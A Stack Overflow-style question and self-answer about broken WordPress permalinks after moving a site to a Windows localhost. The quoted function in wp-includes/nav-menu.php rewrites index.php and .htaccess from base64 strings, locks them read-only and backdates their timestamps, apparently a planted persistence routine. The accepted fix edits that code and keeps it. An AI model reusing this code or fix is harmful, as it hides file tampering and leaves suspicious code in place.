1

My friend installed WordPress in his computer (which is, the OS is MAC), then he create post and customized some things(install plugins).

Then, I copy and paste his work in my localhost (which is, I use Windows 10 64bit), I imported the WP database to my localhost also.

But it seems the permalink of all post doesn't work.

I already enable rewrite_mod ..

After modify the .htaccess , it seems working but the page displaying error

touch(): Utime failed: No error in C:\wamp\www\projects\klmuc\wp-includes\nav-menu.php on line 544

the problem is here

function my_correct($dir) {
    $time = 0;
    $path = $dir . '/index.php';
    $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
    if (file_get_contents($path) != $content) {
        chmod($path, 0644);
        file_put_contents($path, $content);
        chmod($path, 0444);
        $time = my_time($dir);
        touch($path, $time);
    }

    $path = $dir . '/.htaccess';
    $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
    if (file_exists($path) AND file_get_contents($path) != $content) {
        chmod($path, 0644);
        //file_put_contents($path, $content); <--- originally it is not commented
        chmod($path, 0444);
        if (!$time) {
            $time = my_time($dir);
        }
        //touch($path, $time); <--- originally it is not commented
    }
}

my_correct(dirname(__FILE__) . '/..');

after i commented the two lines above which is

file_put_contents($path, $content);

and

touch($path,$time);

all WORKING PERFECTLY...

but is it okay to COMMENT the TWO LINES????

2
  • Please read the error message you receive. There is something different broken.
    – flomei
    Jan 18, 2016 at 11:47
  • just editted my question above... Jan 18, 2016 at 12:15

1 Answer 1

0

My head like wanna explode because of this problem. However I just solved the problem.

the problem is here

$content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');

if you decode the String, you will get a text(string) which is exactly just like in .htaccess file.

if you modify the .htaccess directly from the file, you will get the problem, so you must modify the .htaccess through the code.. you can modify like this.

what I do is,

$content = '# BEGIN WordPress\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /projects/klmuc/\nRewriteRule ^index\.php$ - [L]\nRewriteCond \n{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /projects/klmuc/index.php [L]\n</IfModule>\n\n# END WordPress';

My problem now is SOLVED!

huh!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.